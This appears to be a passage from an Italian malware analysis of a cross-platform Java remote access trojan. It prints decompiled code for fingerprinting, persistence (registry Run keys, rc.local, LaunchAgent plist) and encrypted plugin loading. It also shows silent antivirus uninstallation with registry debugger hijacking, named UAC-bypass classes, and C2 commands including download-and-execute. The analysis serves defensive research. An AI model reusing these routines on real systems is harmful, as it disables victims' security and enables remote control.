    public static final /* synthetic */ int ANDROID = 4;
    public static final /* synthetic */ int UNKNOWN = 5;
    public static final /* synthetic */ int LINUX = 3;
    public static final /* synthetic */ int MAC = 2;
    public static final /* synthetic */ int WINDOWS = 1;
```

Ogni oggetto eredita da una classe base che definisce dei valori di default.

```
//Paese (tramite Java)
JSONObject a = new JSONObject();
a.ii.put("country", (Object)a);
a.put("code", (Object)Locale.getDefault().getCountry().toLowerCase());
a.put("name", (Object)Locale.getDefault().getDisplayCountry());

//Lingua (tramite Java)
a.ii.put("language", (Object)Locale.getDefault().getDisplayName());

//Admin
a.ii.put("admin", Utilities.isAdmin());

//Nome computer
a.ii.put("computerName", (Object)Utilities.getComputerName());

//Nome utente (tramite Java)
a.ii.put("computerUser", (Object)System.getProperty((String)"user.name"));
//Versione JRE (tramite Java)
a.ii.put("jreVersion", (Object)System.getProperty((String)"java.version",
(String)"1.6"));

//Numero processori
a.ii.put("processor", Utilities.getProcessorNumber());

//RAM
a.ii.put("ram", (Object)Utilities.getRam());

//Di default l'OS è unknown
a.ii.put("icon", (Object)"unknown");
a.ii.put("type", 5);

//Riscritte dai figli
a.ii.put("architecture", (Object)a.ii.optString("osDefaultArch"));
a.ii.put("javaArchitecture", (Object)a.ii.optString("osDefaultArch"));
a.ii.put("name", (Object)a.ii.optString("osDefaultName"));

//Versione, architettura e nome (tramite Java)
a.ii.put("osDefaultVersion", (Object)System.getProperty((String)"os.version",
(String)"1.0"));
a.ii.put("osDefaultArch", (Object)System.getProperty((String)"os.arch",
(String)"x86"));
a.ii.put("osDefaultName", (Object)System.getProperty((String)"os.name",
(String)"Unknown OS"));
```

Molti dei valori sono ottenuti tramite proprietà d'ambiente.
Il check sui privilegi di amministratore è fatto scrivendo file casuali su percorsi protetti (%system32% su Windows, nella root sugli altri).
Il nome del computer è recuperato tramite le variabili d'ambiente *COMPUTERNAME*, *HOSTNAME* o, se queste non esistono, eseguendo il comando *hostname* (il malware dispone di una classe per astrarre l'esecuzione dei comandi sugli OS supportati e recuperarne l'output).
RAM e numero di processori disponibili sono ottenuti tramite la classe `ManagementFactory` del JRE.

Windows

Per Windows viene recuperata la versione esatta del sistema operativo e l'architettura (viene testata la presenza della cartella %SYSTEM32%\SysWOW64.

Linux

Per Linux, la versione del sistema operativo è presa dai file di distribuzione. Questi sono elencati, insieme alle chiavi di interesse, nella risorsa */os/Linux.json* dentro al JAR.

```
[{
        "file": "/etc/os-release",
        "keys": ["NAME","VERSION"]
    },
    {
        "file": "/etc/lsb-release",
        "keys": ["DISTRIB_DESCRIPTION","DISTRIB_CODENAME"]
    },
    {
        "file": "/etc/lsb-release-crunchbang",
        "keys": ["DISTRIB_DESCRIPTION","DISTRIB_CODENAME"]
    }]
```

macOS

Per macOS invece il numero di versione ottenuto dalla classe madre viene semplicemente convertito nella stringa commerciale.

Percorso interprete Java

Se il sistema operativo non è Windows, il percorso è impostato a */bin/java*. In alternativa l'interprete (*\bin\javaw.exe*) è prima cercato nella cartella dell'utente sotto la cartella indicata dalla chiave di configurazione *installation.jreFolder*, se non presente l'intero JRE (come indicato dalla la proprietà d'ambiente[2] `java.home`) viene copiato nella suddetta cartella (poi nascosta).
Se la copia dovesse fallire, viene usato l'interprete nell'installazione JRE indicata da `java.home`.

Persistenza

Finite le inizializzazioni, l'esecuzione si divide per sistema operativo.

Windows

Nella configurazione viene salvata la chiave *mainPath* il cui valore è ottenuto concatenando la home dell'utente alla chiave `installation.mainFolder`[3].

Viene poi caricata una tra */server/resources/x64.dll* e */server/resources/x86.dll*. La versione è scelta in base all'architettura e viene utilizzato `System.load`.

2 Ovvero I valori leggibili con `System.getProperty`.
3 L'ordine delle operazioni non sembra del tutto corretto. Con la creazione eseguita prima che il valore sia calcolato e salvato.

Viene assicurata la persistenza tramite il registro di sistema (chiavi *Run* e *RunOnce*). La chiave usata, il percorso del JAR e la sua estensione sono indicate nel file di configurazione.
Il JAR viene successivamente copiato nella sua destinazione e nella cartella che lo contiene viene creato un file *Desktop.ini* con le seguenti istruzioni per attivare la modalità "GodMode" per quella stessa cartella: essa diventa una shortcut per le impostazioni per le connessioni remote.

```
[.ShellClassInfo]
CLSID={241D7C96-F8BF-4F85-B01F-E2B043341A4B}
```

Linux

Come per Windows viene creata la cartella corrispondente a `installation.mainFolder` nella home dell'utente.

La persistenza su Linux dipende se l'utente è o meno root.
In ogni caso il JAR è copiato nella directory indicata dalla configurazione (inclusi nome ed estensione ivi indicati).
Nel caso l'utente fosse root, lo script modifica */etc/rc.local*, eseguito dopo l'avvio (per compatibilità anche su sistemi con SystemD, Upstart e OpenRC), accodando il comando per eseguire il JAR ed `exit 0` per terminare l'esecuzione dello script.

Se l'utente non è root, viene creato un file *.desktop* dal nome indicato in *installation.jarRegistry* che contiene le seguenti istruzioni:

```
#!/usr/bin/env xdg-open

[Desktop Entry]
Version=1.0
Type=Application
Terminal=false
Exec= ... -jar ...
Name=installation.jarRegistry
```

Viene successivamente invocato il JAR appena copia ed il processo termina (continuando dalla copia).

macOS

Viene recuperato il nome dell'utente tramite l'esecuzione di whoami (con `Runtime.getRuntime().exec`) e con questo viene creato il percorso della home dell'utente che viene salvato nella proprietà d'ambiente *user.home.*

Anche per macOS viene creata la cartella di installazione come per gli altri sistemi operativi, in aggiunta gli vengono impostati i permessi a *777* (tramite chown).

Viene garantita la persistenza creando il file plist:
*~/Library/LaunchAgents/org.**installation.jarRegistry**.plist* con il contenuto

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
   <key>Label</key>
   <string>org.installation.jarRegistry</string>
   <key>ProgramArguments</key>
   <array>
      <string>jrePath</string>
      <string>-Dapple.awt.UIElement=true</string>
      <string>-jar</string>
      <string>...</string>
   </array>
   <key>RunAtLoad</key>
   <true/>
   <key>KeepAlive</key>
   <false/>
   <key>AbandonProcessGroup</key>
   <true/>
</dict>
</plist>
```

Indipendentemente dal sistema operativo, se *installation.active* è true, viene fatta una pausa di *installation.delay* secondi.

Viene generato un UUID casuale e salvato nel file installation.uniqueIDFile. L'UUID è prima cifrato con RC4, il risultato convertio in base64 e la stringa ottenuta salvata su file.

Il codice sotto rileva l'amichevole chiave usata per la cifratura.

```
RC4 a5 = new RC4("FuckYouMotherFucker".getBytes());
String a6 = UUID.randomUUID().toString();
String a7 =
Base64.encode((byte[])a5.encrypt(a6.getBytes(Charset.defaultCharset())));
FileWriter fileWriter = a3 = new FileWriter(a);
fileWriter.write(a7);
fileWriter.close();
```

Caricamento plugins

Sebbene l'azione successiva del malware sia quella di avviare il modulo RAT, vediamo prima il caricamento dei plugin.
Nel file di configurazione sono presenti le stringhe per la gestione dei plugin:

```
"installation":{
   "moduleFolder":"vEBgG",

"moduleEntry":"SknjepUMnQQuoqPILOOmPQUIWWiltQSBxEQjxxgswMRfuWunmUedSBnvWcngeRNd
TGWxUXIxhOOjNBBvBbUsmPAkVjNsUZUKne/
jHLXJEAHQgHHCAjinDmAnxNcDLuZtrldjQYNxKGeevBRpHBTjEUNsB/
UkpdTFIpMOaasDhoIeWlObGjSPwTG.MdZXdiNGAEdHJOIFVSxWirhRcfhRsdGiwVPBPWbMDeBfULvMg
ZtnjLBvuwTxO",
   "moduleExtension":"CmN",
},
"encryptKey":"YepaqmtxqhmavCGUllhlcdCxK",
```

Il plugin sono caricati dalla cartella *moduleFolder* solo se hanno estensione *moduleExtension*. Questi file sono JAR che possono contenere sia delle risorse che delle classi Java, tuttavia nessuna di queste classi può essere invocata dal malware (per design); possono però essere usate dalle classi già caricate (altri plugin, altre parti del malware).

Se nel caricare le classi il malware trova un file il cui nome corrisponde al valore di *moduleEntry*, questo viene decifrato con RC4 e la chiave in *encryptKey* per ottenere un JSON.
All'interno del JSON sono presenti due proprietà: *jarEntry* che contiene un JAR cifrato in RC4 sempre con la stessa chiave e *className* che indica la classe del plugin da richiamare.
Il malware carica il JAR utilizzando lo stesso classloader visto nel packer e poi invoca il metodo `onEnable` della classe indicata.

L'algoritmo completo è riportato sotto.

```
public void loadModules() {
  JSONObject a1 =
ServerSettings.getInstance().getSettings().getJSONObject("installation");
  File a2;
  if(!(a2 = new File(ServerSettings.getInstance().getSettings().getString("mainPath"),
a1.getString("moduleFolder"))).exists()) {
     a2.mkdirs();
  }

  OperatingSystem var10000 = OperatingSystemManager.getOperatingSystem();
  boolean var10003 = true;
  if(var10000.compare(2)) {
     111.ii(a2, "777");
  }

  if(a2.exists() && a2.isDirectory()) {
     File[] var5;
     int var6 = (var5 = a2.listFiles(new FileNameFilterPlugin())).length;
     int var25 = 0;
     boolean var10002 = true;

     for(int var7 = 0; var25 < var6; var25 = var7) {
        File a3;
        if((a3 = var5[var7]).length() <= 0L) {
           a3.delete();
        } else {
           try {
              if(!a.isLoadedFile(a3.getName())) {
                 a.ii.add(a3.getName());
                 JarInputStream a4 = new JarInputStream(new FileInputStream(a3));
                 JSONObject a6 = new JSONObject();
                 JarInputStream var26 = a4;

                 JarEntry a5;
                 byte[] a7;
                 byte[] a9;
                 while((a5 = var26.getNextJarEntry()) != null) {
                    if(a5.isDirectory()) {
                       var26 = a4;
                       a4.closeEntry();
                    } else {
                       var10003 = true;
                       a7 = FileUtils.inputStreamtoByteArray(a4, false);
                       if(a5.getName().equalsIgnoreCase(a1.getString("moduleEntry"))) {
                          a9 = (new
RC4(ServerSettings.getInstance().getSettings().getString("encryptKey").getBytes())).decr
ypt(a7);
                          a6 = new JSONObject(new String(a9));
                          var26 = a4;
                       } else
if(ResourceWhiteList.getInstance().skipExtension(a5.getName())) {
                          URL a8 = a3.toURI().toURL();
                          String var24 = (new StringBuilder()).insert(0,
"jar:").append(a8.toString()).append("!/").append(a5.getName()).toString();
```

```
                           InternalClassLoader.getInstance().putResourceURL(a5.getName(),
var24);
                           var26 = a4;
                        } else {
                           InternalClassLoader.getInstance().putResource(a5.getName(),
a7);
                           var26 = a4;
                        }

                        var26.closeEntry();
                        var26 = a4;
                     }
                  }

                  a4.close();
                  if(a6.has("className") && a6.has("jarEntry")) {
                     InputStream var29 =
InternalClassLoader.getInstance().getResourceAsStream(a6.getString("jarEntry"));
                     var10003 = true;
                     a7 = FileUtils.inputStreamtoByteArray(var29, true);
                     a9 = (new
RC4(ServerSettings.getInstance().getSettings().getString("encryptKey").getBytes())).decr
ypt(a7);
                     JarInputStream a10;
                     var26 = a10 = new JarInputStream(new ByteArrayInputStream(a9));

                     JarEntry a11;
                     while((a11 = var26.getNextJarEntry()) != null) {
                        if(a11.isDirectory()) {
                           var26 = a10;
                           a10.closeEntry();
                        } else {
                           var10003 = true;
                           byte[] a12 = FileUtils.inputStreamtoByteArray(a10, false);
                           if(a11.getName().endsWith(".class")) {
                              String a13 = a11.getName().replace("/",
".").replace(".class", "");
                              InternalClassLoader.getInstance().putClass(a13, a12);
                              var26 = a10;
                           } else {

InternalClassLoader.getInstance().putResource(a11.getName(), a12);
                              var26 = a10;
                           }

                           var26.closeEntry();
                           var26 = a10;
                        }
                     }

                     a10.close();
                     Class var27;
                     if((var27 =
InternalClassLoader.getInstance().loadClass(a6.getString("className"))) != null) {
                        Server var28 = (Server)var27.newInstance();
                        a.i011.put(var28.getId(), a6.getString("className"));
                        var28.onEnable();
                     }
                  }
               }
            } catch (IOException var19) {
               ;
            } catch (ClassNotFoundException var20) {
               ;
            } catch (IllegalAccessException var21) {
               ;
            } catch (InstantiationException var22) {
               ;
            } catch (JSONException var23) {
               ;
            }
         }

         ++var7;
      }
   }
```

```
}
```

KillSecurity

Questo è il nome del modulo che, solo su Windows, si occupa di ridurre la sicurezza del sistema.

Questo modulo fa uso dei metodi nativi presenti nelle DLL viste precedentemente. Questi metodi hanno la seguente interfaccia Java il cui scopo risulta intuibile.

```
public final class WinMethod {
   public static native String CryptDecrypt(byte[] var0);

   public static native String getWindowTitle();

   public static native String getSpecialFolderPath(int var0);

   public static native void disableWow64();

   public static native byte[] cryptUnprotectData(byte[] var0,
byte[] var1);

   public static native void shellExecute(String var0, String
var1, String var2, int var3);

   public static native byte[] cryptProtectData(String var0,
byte[] var1, boolean var2);
}
```

Il modulo fa quello che si può già intuire dalla configurazione ma con qualche particolarità.
Le applicazioni da terminare non sono solo terminate ma gli viene impostato un debugger di default (tramite *HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<**nome**>\\debugger*) che punta ad un eseguibile con un nome casuale. Questo mostrerà un messaggio di errore all'utente rendendo le applicazioni non apribili.

Gli antivirus sono disinstallati in modo silenzioso. Di seguito alcuni esempi.

```
if(a7.contains("ESET") && a.i11.has("eset")) {
  a9.put("/quiet").put("REBOOT=ReallySuppress");
  var10005 = true;
  a.executeExe(a8, true);
}

if(a.i11.has("bitdefender") && (a6.contains("Bitdefender Agent\\installer\\
installer.exe") || a6.contains("Bitdefender Antivirus Free\\kitinstaller\\
BPInstaller.exe"))) {
  a9.put("/silent");
  var10005 = true;
  a.executeExe(a8, false);
}

if(a6.toLowerCase().contains("malwarebytes") && a.i11.has("malwarebytes")) {
  a9.put("/VERYSILENT");
  var10005 = true;
  a.executeExe(a8, false);
}
```

```
boolean var10007;
if(a.i11.has("adware-antivirus") &&
(a7.toLowerCase().contains("firewallengine") ||
a7.toLowerCase().contains("adawareinstaller") ||
a7.toLowerCase().contains("antimalwareengine") ||
a7.toLowerCase().contains("adawareupdater") ||
a7.toLowerCase().contains("avcengine") ||
a7.toLowerCase().contains("antispamengine") ||
a7.toLowerCase().contains("adawareproxyengine") ||
a7.toLowerCase().contains("onlinethreatsengine"))) {
  var10007 = true;
   (new ShellExecute("sc", "config adawareantivirusservice start= disabled",
"runas", 0)).executeAndWait();
  var10007 = true;
  ShellExecute a10 = new ShellExecute("sc", "delete adawareantivirusservice",
"runas", 0);
  a10.executeAndWait();
  a9.put("/quiet").put("REBOOT=ReallySuppress");
  var10005 = true;
  a.executeExe(a8, false);
}

if(a7.toLowerCase().contains("bullguard") && a.i11.has("bull-guard")) {
  a9.put("/silent");
  var10005 = true;
  a.executeExe(a8, false);
}
```

Se l'utente è amministratore queste modifiche possono essere effettuate, altrimenti il malware usa i noti exploit per bypassare UAC.

Si riportano solo i nomi delle classi che li implementano (sufficienti per eventuali ricerche):

```
Slui a1 = new Slui(a);
FodHelper a2 = new FodHelper(a);
Sdclt a3 = new Sdclt(a);
WSReset a4 = new WSReset(a);
ComputerDefaults a5 = new ComputerDefaults(a);
CompMgmtLauncher a6 = new CompMgmtLauncher(a);
Eventvwr a7 = new Eventvwr(a);
```

Una volta disabilitato UAC, le modifiche sono effettuate tramite comandi come *regedit* o *taskkill* lanciati come amministratore.

Gli AV sono inoltre disabilitati impostando il loro debugger a *svchost.exe*

```
String a1 = "/reg:64";
Windows a2;
if((a2 =
(Windows)OperatingSystemManager.getOperatingSystem()).getOSVersion
Number() < 6.0D || a2.getArchitecture().equalsIgnoreCase("x86")) {
   a1 = "";
}

for(int a3 = 0; var10000 < a.i011.length(); var10000 = a3) {
   String a4 = a.i011.optString(a3);
   String var10003 = (new StringBuilder()).insert(0,
"add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\
```

```
CurrentVersion\\Image File Execution
Options\\").append(a4).append("\" /v debugger /t REG_SZ /d
svchost.exe /f ").append(a1).toString();
   String var10004 = a.ii?"open":"runas";
   boolean var10007 = true;
   ++a3;
   (new ShellExecute("reg", var10003, var10004,
0)).executeAndWait();
}
```

Infine, sono aggiunte delle eccezioni a Windows Defender per I moduli usati dal malware (che includono varie DLL e BridJ)

Funzionalità di RAT

Viene letta la configurazione *network* e creato un socket per ogni server.

Se la connessione va a buon fine, il malware invia la configurazione al server. Nel farlo aggiunge la chiave *command*, con valore 1. Questo indica al server che è inviata la configurazione e può rispondere con un eventuale comando da eseguire.

Il protocollo di trasmissione è binario, gli oggetti Java JSON sono semplicemente serializzati nell'`OutputStream` fornito dal socket.

I comandi sono numerici, il nome è stato inventato.

ShowMessage (100)

Viene mostrata un messaggio con AWT

```
JOptionPane.showOptionDialog((Component)null,
a.ii.getString("message"), a.ii.getString("title"),
a.ii.getInt("messageType"), a.ii.getInt("optionType"), (Icon)null,
(Object[])null, (Object)null);
```

BrowseTo (101)

Viene usato AWT per navigare verso un URL.

```
Desktop.getDesktop().browse((new
URL(a.ii.getString("url"))).toURI());
```

DownloadAndExecute (102)

Viene scaricato un file da un URL specifico e salvato in un file temporaneo con nome casuale ed estensione data. Dopodiché viene eseguito.

```
URL a1 = new URL(a.ii.getString("url"));
JSONObject a2;
(a2 = new JSONObject()).put("url", a.ii.getString("url"));
```

```
JSONObject a3;
(a3 = new JSONObject()).put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36");
a3.put("Connection", "keep-alive");
a3.put("Host", a1.getHost());
a2.put("headers", a3);
a2.put("method", "GET");
DownloadFile a4 = new DownloadFile(a2);
if(a4.isDone()) {
  boolean var10002 = true;
  File a5 = File.createTempFile(Random.getString(12), (new
StringBuilder()).insert(0,
".").append(a.ii.getString("extension")).toString());
  FileOutputStream var10000 = new FileOutputStream(a5);
  var10000.write(a4.getResponse());
  var10000.close();
  (new ExecuteFile(a5)).start();
  return;
}
```

GetIPInfo (103)

Viene fatta una query ad un provider di GeoIP e il risultato mandato al server. I provider sono elencati sotto.

```
if(a2.getString("type").equalsIgnoreCase("maxmind")) {
   (new 000(a.i11)).start();
} else if(a2.getString("type").equalsIgnoreCase("ipinfo")) {
   (new 0010(a.i11)).start();
} else if(a2.getString("type").equalsIgnoreCase("fullip")) {
   (new 1110(a.i11)).start();
} else if(a2.getString("type").equalsIgnoreCase("ip2location")) {
   (new 0000(a.i11)).start();
} else if(a2.getString("type").equalsIgnoreCase("ipapicom")) {
   (new 011(a.i11)).start();
} else if(a2.getString("type").equalsIgnoreCase("ipapico")) {
   (new 010(a.i11)).start();
} else if(a2.getString("type").equalsIgnoreCase("keycnd")) {
   (new 100(a.i11)).start();
}
```

GeoIPWifi (105)

Usa la lista degli SSID delle reti WiFi visibili alla vittima per la geolocalizzazione con Google.

Usa o `netsh wlan show network  mode=bssid` oppure `nmcli -f SIGNAL,BSSID dev wifi list` per ottenere gli SSDI (in base all'OS) ed i SNR da inviare a Google.

Restart (106)

Rilancia sé stesso.

Terminate (107)

Termina il malware (ma non lo disinstalla).

RunInstallPlugin (108)

Il C2 invia l'id di un plugin, se quest'ultimo è già caricato una nuova connessione al C2 viene instaurata e passata alla classe principale del plugin, di cui poi viene richiamato il metodo `onConnect`.

```
SSLSocket a2 = ServerSettings.getInstance().createSocket(a.i011, a.ii);
ObjectOutputStream a3 = new ObjectOutputStream(a2.getOutputStream());
ObjectInputStream a4 = new ObjectInputStream(a2.getInputStream());
a3.writeObject(a1.toString());
a3.flush();

//a.i11 è l'instanza del plugin
a.i11.setSocket(a2);
a.i11.setInput(a4);
a.i11.setOutput(a3);
a.i11.onConnect();
```

Se il plugin non è installato, una nuova connessione al C2 viene creata e gli viene inviato l'userTitle (nome utente e nome computer, si veda capitolo precedente), questi risponde con il JAR del modulo da installare.
Il malware effettua i passi complementari a quelli visti nella sezione sui plugin per salvare il nuovo plugin (sotto un estratto).

```
a8.putNextEntry(new JarEntry(a1.getString("moduleEntry")));
a8.write((new
RC4(ServerSettings.getInstance().getSettings().getString("encryptKey").getBytes
())).encrypt(a11.toString().getBytes()));
a8.closeEntry();
a8.putNextEntry(new JarEntry(a11.getString("jarEntry")));
a8.write((new
RC4(ServerSettings.getInstance().getSettings().getString("encryptKey").getBytes
())).encrypt(a9.toByteArray()));
a8.closeEntry();
a8.close();
a5.close();
```

UpdateFromURL (109)

Il C2 invia al malware l'URL di un JAR che è salvato in un percorso temporaneo.

Dopodiché, in base all'OS, le modifiche fatte per la persistenza sono rimosse (ad esempio su Windows sono rimosse le chiavi di registro, su Linux e macOS I file di avvio), la cartella di lavoro del malware è rimossa (*installation.mainPath*) e il nuovo JAR eseguito.

Probabilmente il JAR scaricato contiene una versione aggiornata del malware.

UpdateFromC2 (110)

Come il comando precedente ma il JAR viene acquisito stabilendo una nuova, apposita, connessione al C2.

Disinstall (111)

Vengono eseguiti i passi dei comandi *Update* ma senza l'esecuzione del nuovo JAR (che in questo comando manca).

CloseConnection (112)

Chiude la connessione al C2 e passa al prossimo server (se presente, altrimenti la connessione è ristabilita al riavvio del malware).

DoGarbageCollector (113)

Esegue `System.gc()`.

DetectSleeping (114)

Usa AWT per determinare se la macchina è o meno headless è nel caso non lo fosse invia al C2, ogni 30 secondi, un report sui movimenti del mouse.
Ad intervalli di 30 secondi il mouse controlla se il mouse si è mosso, in caso positivo azzera un contatore altrimenti lo incrementa con l'intervallo di tempo appena passato. Il risultato è inviato al C2 affinchè i criminali possano scegliere il momento giusto per proseguire con l'attacco.

```
for(boolean a1 = false; !GraphicsEnvironment.isHeadless(); Sleep.sleep(30000L))
{
    PointerInfo a2 = MouseInfo.getPointerInfo();
    101 var10000;
    if(a.i011 == null) {
       var10000 = a;
       a.i011 = a2.getLocation();
       a.i11 = System.currentTimeMillis();
       a.ii = 0L;
    } else {
       Point a3 = a2.getLocation();
       if(a.i011.x == a3.x && a.i011.y == a3.y) {
          var10000 = a;
          a.ii = (System.currentTimeMillis() - a.i11) / 1000L;
          a1 = true;
       } else {
          var10000 = a;
          a.i011 = a2.getLocation();
          a.i11 = System.currentTimeMillis();
          a.ii = 0L;
          boolean var10003 = true;
          a1 = false;
       }
    }

    ...
}
```

GetForegroundTitle (115)

Ottiene il titolo della finestra in primo piano, solo per Windows e Linux.

Su Windows viene usato `GetWindowText`, su Linux la sequenza di comandi

```
xprop -root _NET_ACTIVE_WINDOW
```

```
xprop -id <id> WM_NAME
```

Dove `<id>` è ottenuto dal primo comando.

Funzionalità non usate

Il malware dispone di una classe chiamata server.windows.CryptData che contiene metodi per la cifratura e decifratura di array di byte.
I metodi sono poi effettivamente implementati nelle DLL viste precedentemente che usano le API `CryptProtectData` e simili.